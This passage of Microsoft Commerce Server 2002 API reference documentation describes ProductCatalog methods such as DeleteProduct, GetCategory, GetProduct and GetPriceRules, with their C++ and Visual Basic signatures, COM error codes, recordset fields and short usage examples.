E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY | [C++] 0x88980104 [Visual Basic] &H88980104 | The DeleteCategory method cannot be called for a virtual catalog's included categories.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Any products or categories that existed in the deleted category, but not in another category, will be orphaned. Categories will become root categories and products will become root products. For example: CategoryA and CategoryB are child categories of CategoryX. CategoryA is also a child of CategoryY. When CategoryX is deleted, CategoryB will become a root category, but CategoryA will not.

You cannot delete an inherited category from a virtual catalog. The following error will be returned: E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY "The DeleteCategory method cannot be called for a Virtual Catalog's included categories."

[Visual Basic] Deleted categories, like deleted products, are moved to the DeletedProducts table until the catalog is purged.

[C++] Deleted categories, like deleted products, are moved to the DeletedProducts table until the catalog is purged.

If a category is deleted from a base catalog that is included in a virtual catalog, it is not removed from the virtual catalog until the next time the virtual catalog and pricing rules are evaluated.

When a category in a base catalog is deleted and it is included in a virtual catalog, the virtual catalog is marked as dirty and will be updated the next time it is rebuilt.

[Visual Basic]

Example

myProductCatalog.DeleteCategory "Apparel"

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_RootCategories

[Visual Basic] ProductCatalog.RootCategories

[C++] IProductCatalog3::CreateCategory

[Visual Basic] ProductCatalog.CreateCategory

[C++] IProductCatalog3::GetCategory

[Visual Basic] ProductCatalog.GetCategory


IProductCatalog3::DeleteCustomCatalog Method [C++]

ProductCatalog.DeleteCustomCatalog Method [Visual Basic]

The DeleteCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCustomCatalog

[Visual Basic] ProductCatalog.CreateCustomCatalog

[C++] IProductCatalog3::GenerateCustomCatalog

[Visual Basic] ProductCatalog.GenerateCustomCatalog


IProductCatalog3::DeleteProduct Method [C++]

ProductCatalog.DeleteProduct Method [Visual Basic]

Use this method to delete a product from the Product Catalog System. This method cannot be used with a virtual catalog.

Definition

[C++]
HRESULT IProductCatalog3::DeleteProduct(
 VARIANT varProductID
);
[Visual Basic]
Sub DeleteProduct(
 varProductID As Variant
)

Parameters

varProductID [C++]
[in] A VARIANT that contains the unique identifier of the product to be deleted.
varProductID [Visual Basic]
A Variant that contains the unique identifier of the product to be deleted.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C++] 0x8898001E [Visual Basic] &H8898001E | The product you specified doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method moves the product data from catalog tables to the deleted product table in the SQL Server database. The Product object caches information for improved performance. Because of this cache, the CatalogName and ProductID methods of the Product object will continue to return the old values after the DeleteProduct method has been called. The Variants, ParentCategories, AncestorCategories, RelatedCategories, and RelatedProducts properties will return an empty recordset and no error message.

Caution

  • Deleting a product with variants also deletes all of the variants.
[Visual Basic]

Example

myProductCatalog.DeleteProduct 654321

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateProduct

[Visual Basic] ProductCatalog.CreateProduct

[C++] IProductCatalog3::GetProduct

[Visual Basic] ProductCatalog.GetProduct


IProductCatalog3::GenerateCustomCatalog Method [C++]

ProductCatalog.GenerateCustomCatalog Method [Visual Basic]

The GenerateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCustomCatalog

[Visual Basic] ProductCatalog.CreateCustomCatalog

[C++] IProductCatalog3::DeleteCustomCatalog

[Visual Basic] ProductCatalog.DeleteCustomCatalog

[C++] IProductCatalog3::SetCategoryCustomPrice

[Visual Basic] ProductCatalog.SetCategoryCustomPrice


IProductCatalog3::GetCatalogAttributes Method [C++]

ProductCatalog.GetCatalogAttributes Method [Visual Basic]

Use this method to retrieve the attributes of this catalog. The returned recordset is disconnected and updateable.

Definition

[C++]
HRESULT IProductCatalog3::GetCatalogAttributes(
 _Recordset** ppRSCatalogAttributes
);
[Visual Basic]
Function GetCatalogAttributes() As _Recordset

Parameters

ppRSCatalogAttributes [C++]
[out, retval] A pointer to a Recordset used to return the attributes of this catalog.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the attributes of this catalog.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++] The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[C++] The ppRSCatalogAttributes parameter contains valid data only if the method was accessed successfully.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
CatalogName | String 128 characters | The name of the catalog.
Locale | Integer | None
StartDate | Datetime | None
End Date | Datetime | None
VariantID | String 128 characters | The field name that uniquely identifies variants.
ProductID | String 128 characters | The field name that uniquely identifies products.
Currency | String 128 characters | None
WeightMeasure | String 128 characters | None
TimeStamp | timestamp | None
CatalogID | Integer | None
CustomCatalog | Bit | AReserved for future use.
FreeTextIndexCreated | DateTime | None
ProductTableUpdated | DateTime | None
FullTextCatalog | String 128 characters | The SQL full-text catalog associated with this catalog.
DefaultLanguage | String 10 characters | The default language for this catalog.
ReportingLanguage | String 10 characters | The reporting language for this catalog.
IsVirtualCatalog | Boolean | A flag indicating whether this is a virtual catalog. True indicates a virtual catalog.
VirtualCatalogStatus | SmallInt | Reserved for future use.
<UserDefinedAttributes> |  |
DisplayName | String 128 characters | The DisplayName for the current language of this catalog.
DisplayName_<Language> | String 128 characters | One field for each language supported by this catalog.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsMyCatAttribs = myProductCatalog.GetCatalogAttributes

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::SetCatalogAttributes

[Visual Basic] ProductCatalog.SetCatalogAttributes


IProductCatalog3::GetCategory Method [C++]

ProductCatalog.GetCategory Method [Visual Basic]

Use this method to retrieve the specified category from a catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetCategory(
 BSTR strCategoryName,
 ICategory3** ppCategory
);
[Visual Basic]
Function GetCategory(
 strCategoryName As String
) As Category

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be returned.
strCategoryName [Visual Basic]
A String that contains the name of the category to be returned.
ppCategory [C++]
[out, retval] A pointer to a Category object used to return the specified category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the Category object specified.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The category does not exist

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppCategory parameter contains valid data only if the method was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyCategory = myProductCatalog.GetCategory "Apparel"

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCategory

[Visual Basic] ProductCatalog.CreateCategory

[C++] IProductCatalog3::DeleteCategory

[Visual Basic] ProductCatalog.DeleteCategory


IProductCatalog3::GetCategoryCustomPrice Method [C++]

ProductCatalog.GetCategoryCustomPrice Method [Visual Basic]

The GetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::SetCategoryCustomPrice

[Visual Basic] ProductCatalog.SetCategoryCustomPrice


IProductCatalog3::GetCustomCatalogAttributes Method [C++]

ProductCatalog.GetCustomCatalogAttributes Method [Visual Basic]

The GetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateCustomCatalog

[Visual Basic] ProductCatalog.CreateCustomCatalog

[C++] IProductCatalog3::SetCustomCatalogAttributes

[Visual Basic] ProductCatalog.SetCustomCatalogAttributes


IProductCatalog3::GetDependentCatalogs Method [C++]

ProductCatalog.GetDependentCatalogs Method [Visual Basic]

Use this method to return a recordset with a single field containing all of the virtual catalogs that are dependant on this catalog. This method cannot be called on a virtual catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetDependentCatalogs(
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSDependentCatalogs
);
[Visual Basic]
Function GetDependentCatalogs(
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
plTotalRecordsInQuery [C++]
[in, out, optional] A pointer to a VARIANT that, if supplied, contains on output the total number of records.
plTotalRecordsInQuery [Visual Basic]
A Variant that, if supplied, contains on output the total number of records.
ppRSDependentCatalogs [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the dependent catalogs.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the dependent catalogs.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSDependentCatalogs parameter contains valid data only if the method was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

x = myProductCatalog.GetDependentCatalogs(lStartingRecord, lRecordsToRetrieve, plTotalRecordsInQuery)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GetLanguages Method [C++]

ProductCatalog.GetLanguages Method [Visual Basic]

Use this method to return a recordset with a single field containing all of the supported languages.

Definition

[C++]
HRESULT IProductCatalog3::GetLanguages(
  _Recordset** ppRSLanguages
);
[Visual Basic]
Function GetLanguages() As _Recordset

Parameters

ppRSLanguages [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the supported languages.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the supported languages.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

[C++] The ppRSLanguages parameter contains valid data only if the method was accessed successfully.

The following table shows the fields that the returned recordset contains.

Field Data Type Description
Language String
10 characters
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Set rsLanguages = myProductCatalog.GetLanguages

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GetPriceRules Method [C++]

ProductCatalog.GetPriceRules Method [Visual Basic]

Use this method to return a recordset containing the specified price rules. This method cannot be used with a base catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetPriceRules(
  VARIANT lStartingRecord,
  VARIANT lRecordsToRetrieve,
  VARIANT strPropertyToSortOn,
  VARIANT_BOOL fSortAscending,
  VARIANT* plTotalRecordsInQuery,
  _Recordset** ppRSProductPricingRules
);
[Visual Basic]
Function GetPriceRules(
  Optional lStartingRecord As Variant,
  Optional lRecordsToRetrieve As Variant,
  Optional strPropertyToSortOn As Variant,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Variant
) As _Recordset

Parameters

lStartingRecord [C++]
[in, optional] A VARIANT that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lStartingRecord [Visual Basic]
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve [C++]
[in, optional] A VARIANT that contains the number of records to retrieve.
lRecordsToRetrieve [Visual Basic]
A Variant that contains the number of records to retrieve.
strPropertyToSortOn [C++]
[in, optional] A VARIANT that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
strPropertyToSortOn [Visual Basic]
A Variant that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery [C++]
[in, out, optional] A pointer to a VARIANT that, if supplied, contains on output the total number of records.
plTotalRecordsInQuery [Visual Basic]
A Variant that, if supplied, contains on output the total number of records.
ppRSProductPricingRules [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the product pricing rules.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the pricing rules.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProductPricingRules parameter contains valid data only if the method was accessed successfully.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
AdjustmentType | CatalogCustomPriceEnum enumeration | The type of the pricing rule.
Amount | Integer | None
CategoryName | String 85 characters | None
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = basePrice + (basePrice * pfpCustomPriceAmount /100).
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'plTotalRecordsInQuery is a LONG.
'Examine it after the method returns to see if
'there are more records to get.
Set rsPriceRules = myProductCatalog.GetPriceRules(1, 25, strPropertyToSortOn, True, plTotalRecordsInQuery)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GetProduct Method [C++]

ProductCatalog.GetProduct Method [Visual Basic]

Use this method to retrieve the specified product from a catalog.

Definition

[C++]
HRESULT IProductCatalog3::GetProduct(
 VARIANT varProductID,
 IProduct3** ppProduct
);
[Visual Basic]
Function GetProduct(
 varProductID As Variant
) As Product

Parameters

varProductID [C++]
[in] A VARIANT that contains the unique identifier of the product.
varProductID [Visual Basic]
A Variant that contains the unique identifier of the product.
ppProduct [C++]
[out, retval] A pointer to a Product object used to return the specified product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the product specified.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The product does not exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppProduct parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyProduct = myProductCatalog.GetProduct("SKU4005")
' for virtual catalogs
SET oMyProduct = myVirtualCatalog.GetProduct "SKU001(MyBaseCatalog)"

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::CreateProduct

[Visual Basic] ProductCatalog.CreateProduct

[C++] IProductCatalog3::DeleteProduct

[Visual Basic] ProductCatalog.DeleteProduct


IProductCatalog3::GetProductVariant Method [C++]

ProductCatalog.GetProductVariant Method [Visual Basic]

Use this method to retrieve the properties of a specified product variant.

Definition

[C++]
HRESULT IProductCatalog3::GetProductVariant(
 VARIANT varProductID,
 VARIANT varVariantID,
 _Recordset** ppRSVariant
);
[Visual Basic]
Function GetProductVariant(
 varProductID As Variant,
 varVariantID As Variant
) As _Recordset

Parameters

varProductID [C++]
[in] A VARIANT that contains the unique identifier of the product family.
varProductID [Visual Basic]
A Variant that contains the unique identifier of the product family.
varVariantID [C++]
[in] A VARIANT that contains the unique identifier of the product variant.
varVariantID [Visual Basic]
A Variant that contains the unique identifier of the product variant.
ppRSVariant [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the properties of the variant.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the properties of the specified variant.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_CATALOG_DOESNT_SUPPORT_VARIANTS | [C++] 0x88980032 [Visual Basic] &H88980032 | This catalog does not support variants. In order to support variants the catalog has to be created with the variant identifier.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_VARIANTID | [C++] 0x8898005C [Visual Basic] &H8898005C | The value you specified for the VariantID exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_VARIANTID | [C++] 0x8898004D [Visual Basic] &H8898004D | The value you specified for the VariantID is either out of range or does not satisfy the Min/Max condition.
E_CAT_BLANK_VARIANT | [C++] 0x8898004F [Visual Basic] &H8898004F | You have specified a blank value for the VariantID. A variant cannot be created with a blank value.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSVariant parameter contains valid data only if the method was accessed successfully.

A single row recordset with all the properties of the variant is returned. The fields of the returned recordset are determined by the properties associated with the definition on which it is based. Both the product properties and the variant properties are returned.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
oid | int | Internal identifier
Cy_list_price | money | List price of the variant
TimeStamp | timestamp | None
ProductID | String 128 characters | The field name that uniquely identifies products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET rsVariantProps = myProductCatalog.GetProductVariant("SKU4007", "Blue")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::get_IdentifyingVariantProperty

[Visual Basic] ProductCatalog.IdentifyingVariantProperty


IProductCatalog3::GetSpecificationSearchClauses Method [C++]

ProductCatalog.GetSpecificationSearchClauses Method [Visual Basic]

Use this method to retrieve the specified specification search constraints.

Definition

[C++]
HRESULT IProductCatalog3::GetSpecificationSearchClauses(
 BSTR strSearchHandle,
 _Recordset** ppRSSearchClauses
);
[Visual Basic]
Function GetSpecificationSearchClauses(
 strSearchHandle As String
) As _Recordset

Parameters

strSearchHandle [C++]
[in] A BSTR that contains the specification search handle.
strSearchHandle [Visual Basic]
A String that contains the specification search handle.
ppRSSearchClauses [C++]
[out, retval] A pointer to a Recordset object used to return the search clauses.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the specification search clauses.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid
